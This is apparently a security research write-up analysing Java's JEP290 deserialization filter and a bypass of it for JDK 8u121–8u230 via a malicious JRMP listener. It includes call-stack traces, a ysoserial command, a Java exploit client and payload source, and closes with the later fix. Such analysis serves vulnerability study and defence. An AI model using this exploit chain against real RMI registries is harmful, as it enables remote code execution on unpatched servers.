Preface#
The previous text has analyzed several attack methods for RMI deserialization. This article studies the detection and bypass ideas of the JEP290 mechanism. The entire process is quite clear, which involves making the registry act as a client to initiate an RMI request to a malicious JRMP server, while the environment's filter is empty.
What is JEP290#
Experimental version jdk1.8.0_192
Higher versions of JDK introduced the JEP 290 policy, which by default sets the registryFilter during the communication process between the Client and Registry, allowing only classes in the whitelist to be deserialized.
In simple terms, it is a filter
for defending against deserialization attacks
with a whitelist or blacklist.
- Provides a mechanism to restrict deserialization classes, either a whitelist or a blacklist.
- Limits the depth and complexity of deserialization.
- Provides a mechanism for validating classes for RMI remote call objects.
- Defines a configurable filtering mechanism, such as defining filters through a properties file.
Official documentation: https://openjdk.java.net/jeps/290
Versions supported by JEP290:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
There are two ways to set JEP290:
- Set the filter through setObjectInputFilter.
- Configure directly through the conf/security/java.properties file.
JEP290 Process Analysis#
According to zjj, the communication between the client and the registry is actually divided into two segments. The first segment is the normal communication between the client and the registry, while the second segment is where the registry acts as a client to initiate an RMI request to a malicious JRMP server. In the second segment of communication, the JEP290 check is not performed.
In the above image, it is actually the code that handles the request, but at the second breakpoint, there is a lookup connection. Therefore, if some parameters can be controlled, the second breakpoint can be treated as an entry point for new RMI communication.
JEP290 Checkpoint#
First, the server is still processing remote calls in RegistryImpl_Skel#dispatch
. Case 0 corresponds to the bind operation, var82 corresponds to the name of the bound object, and var87 corresponds to the remote object to be exported. At this point, the incoming remote call stream is deserialized.
Then step through sequentially:
The readClassDesc
method will enter different cases based on the deserialized class. Note the proxy class here.
It will enter filterCheck
.
When analyzing for the first time, a breakpoint can be set here from logging, as this information can be obtained from the error message. Then, analyze the entire check process based on the call stack, as follows:
filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
In the filterCheck
part, status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));
will call the check method: RegistryImpl#registryFilter
.
Here, the deserialized class is restricted by the whitelist:
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID
As long as the deserialized class is not in the whitelist, it will return the REJECTED operator, indicating that there is illegal content in the serialization stream, and an exception will be thrown.
The parameter for the bind method executed on the server side must be an object that implements the Remote interface. However, the ordinary CC chain ultimately generates a malicious object that does not meet this condition. At this point, a dynamic proxy is needed to proxy the Remote interface. In fact, the final binding is a proxy object generated by the dynamic proxy:
InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap); Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler); registry.bind("pwn", remote);
During deserialization, in addition to deserializing the proxy object itself, its internal fields must also be deserialized, similar to a recursive process. Our proxy object itself (which implements the proxied interface, here the Remote interface) will not trigger the check; what actually triggers the check is the internal
InvocationHandlerImpl
.
Then, looking at the call stack above, it can be seen that the readObject0
method is called twice. The first time is for the deserialization of the proxy object itself, and the second time is for the deserialization of its internal fields.
The readSerialData
method will read the internal fields of the object and then loop into the readObject0
method for processing:
Ultimately, it will trigger the filter's check due to InvocationHandlerImpl
:
Filter Creation Process#
When the check is triggered, the filter is a Lambda expression.
It will enter RegistryImpl#registryFilter
, and the entire call stack is as follows:
registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
Now the question is why it enters RegistryImpl#registryFilter
. First, look at the constructor of RegistryImpl
.
Although there are multiple overloaded constructors, the core is that a Lambda expression is passed in as a filter.
RegistryImpl::registryFilter
isinfo → RegistryImpl.registryFilter(info)
, and since it matches the abstract method signature of theObjectInputFilter
interface, it can be directly simplified through method reference:
At the same time, in the second constructor, the Lambda expression is passed into the constructor of
UnicastServerRef2
in the form of theObjectInputFilter
interface.
Finally, it is assigned to the filter member variable of this class.
It should also be noted that during the creation of the Registry, the filter ultimately exists only as a member variable of
UnicastServerRef
, and only when the Registry processes requests, in theoldDispatch
method, is the filter assigned to the member variableserialFilter
ofObjectInputStream
.
Call stack:
setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
Bypass 8u121~8u230#
UnicastRef Class#
From the code perspective, when we execute methods like bind and lookup, we will first obtain a Registry, for example:
Registry registry = LocateRegistry.getRegistry(1099);
Follow up on the LocateRegistry#getRegistry
method:
Here, the TCPEndpoint encapsulates the host, port, and other information of the Registry, and then uses UnicastRef to encapsulate the liveRef. Ultimately, what is obtained is a RegistryImpl_Stub
object.
Then, this Stub object (client) connects to the Registry. Taking the bind method as an example, from this process, a connection is initiated through the
newCall
method ofUnicastRef
, and the object to be looked up is sent to the Registry.Therefore, if we can control the host, port, and other information encapsulated in the LiveRef of UnicastRef, we can initiate an arbitrary JRMP connection request. This is actually the principle behind the payloads.JRMPClient in ysoserial.
RemoteObject Class#
RemoteObject
is an abstract class that will play a very important role in the subsequent Bypass idea construction. It implements the Remote and Serializable interfaces, indicating that it (and its subclasses) can pass the whitelist check. The key point utilized in the Bypass is its readObject
method:
Test Code#
Here, the attack is on register
, executing the following commands and Java files in sequence:
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"
RMIRegistry
package bypass_jep290;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry Start");
} catch (Exception e) {
e.printStackTrace();
}
while (true) ;
}
}
DefineClient
package bypass_jep290;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class DefineClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// The lookup method can also be used, but it requires manually simulating the lookup process.
registry.bind("pwn", handler);
}
}
Handling Requests While Deserializing Remote Call Objects (With Check)#
First, the client initiates a bind request to the registry, entering the handling logic of RegistryImpl_Skel#dispatch
. At the readObject
point, the remote call object passed from the client to the registry is deserialized, during which the JEP290 checkpoint is present. The call stack is as follows:
filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
Since the object we are deserializing is RemoteObjectInvocationHandler
, it bypasses the check and then enters the readObject
method of RemoteObject
.
In this method, the host and port information from the serialization stream (which is the host and port of the malicious JRMP service) will be read out and then re-encapsulated into a LiveRef object, which is stored on the current ConnectionInputStream by calling the saveRef method:
A mapping relationship between a TCPEndpoint and an ArrayList is established.
The call stack is as follows:
readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (java.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
It can be seen from the call stack that readOrdinaryObject
will first enter readClassDesc
for a check, and then enter readSerialData
to deserialize the object.
ReleaseInputStream as an Entry Point for New RMI Communication (No Check)#
After processing the above request, releaseInputStream
will release the input stream associated with RemoteCall
, but here a lookup operation will be performed.
Here, in
is the ConnectionInputStream object that wraps the LiveRef object mentioned above. Continue to follow up:
At this point, based on the previously stored mapping relationship, the host and port information from the serialization stream (which is the host and port of the malicious JRMP service) will be read out, extracted, and passed into the DGCClient#registerRefs
method:
Here, the lookup actually does not do much; it just encapsulates our var0.
Subsequently, in executeCall()
, this.getInputStream();
establishes new communication
, and then receives serialized data for deserialization
.
The call stack is as follows:
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
TCPEndpoint (JRMP Segment Address) Assignment#
To write the PoC, we need to see how TCPEndpoint is assigned. It has been analyzed above, starting from the readObject
method of RemoteObject
. Here, let's look at the details that need attention.
Here, the ip
and port
will be extracted from the serialized data
, generating a TCPEndpoint
assigned to var2
, which is then encapsulated into a LiveRef
and passed to var6.saveRef()
.
saveRef()
ultimately exists in the incomingRefTable
, which can be referred back to the utilization analysis
, as it is the object taken from this variable
.
Now let's see if we can assign a value to this variable. The key code is as follows:
TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);
Details of the Check in the Second Segment of Communication#
The first segment of communication is where the server binds to the registry, transferring data to the Register
.
As mentioned above, during the creation of the Registry, the filter ultimately exists only as a member variable of UnicastServerRef
, and only when the Registry processes requests, in the oldDispatch
method, is the filter assigned to the member variable serialFilter
of ObjectInputStream
. Therefore, the current serialFilter
is null.
Also, note the ConnectionInputStream@953
number.
Then, in UnicastServerRef#unmarshalCustomCallData()
, the value of this.serialFilter
is set.
Note the number ConnectionInputStream@953
.
Then enter the second segment of JRMP communication.
After establishing the aforementioned new communication
, the serialFilter
will also be set in ObjectInputStream
, but since it does not enter the UnicastServerRef#oldDispatch
method, the serialFilter
here is null.
The number is ConnectionInputStream@1121
, and then to the StreamRemoteCall#executeCall
method, deserializing the malicious object returned by JRMP.
Here, the serialFilter
is also not set.
Summary#
What I want to express here is to distinguish why this method can bypass JEP290. The first segment of communication is between the registry
and the Server
, while the second segment is with the JMRP
. Here, ConnectionInputStream
actually represents ObjectInputStream
, and the serialFilter
set during the first segment of communication only applies to the first segment of communication, specifically to the readObject
between the Register and Server
!! (The scope of JEP290
).
At the same time, the idea of bypassing JEP290 is as follows:
- Use ysoserial to start a malicious JRMPListener.
- Control the
UnicastRef
object inRemoteObject
, which encapsulates the host, port, and other information of the malicious Server. - The Client/Server sends this
RemoteObject
object to the Registry, which triggers thereadObject
method and subsequently initiates a connection request to the malicious JRMP Server. - Subsequently, trigger the JRMPListener.
The registry triggers the deserialization exploitation chain:
Client sends data -> UnicastServerRef#dispatch -> UnicastServerRef#oldDispatch -> RegistryImpl_Skle#dispatch (processing request)
-> RemoteObject#readObject (first communication, enters RemoteObject#readObject, to set the internal UnicastRef object to initiate a JRMP request to connect to the malicious Server)
StreamRemoteCall#releaseInputStream (resource release, second communication entry)
-> ConnectionInputStream#registerRefs -> DGCClient#registerRefs -> DGCClient$EndpointEntry#registerRefs
-> DGCClient$EndpointEntry#makeDirtyCall -> DGCImpl_Stub#dirty -> UnicastRef#invoke -> (RemoteCall var1) StreamRemoteCall#executeCall ->
ObjectInputSteam#readObject -> "pwn"
YSO Code#
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}
To be supplemented: PoC writing ideas, look at the secondary development of ysoserial.#
Fix#
In the dirty()
method, after establishing communication, a JEP290
(expression) is set for this.filter
.
Original
After fixing
Then set this filter
in this.in
's serialFilter
.
After establishing communication in the dirty()
method, a JEP290
(expression) is set for this.filter
.
Then it gets detected.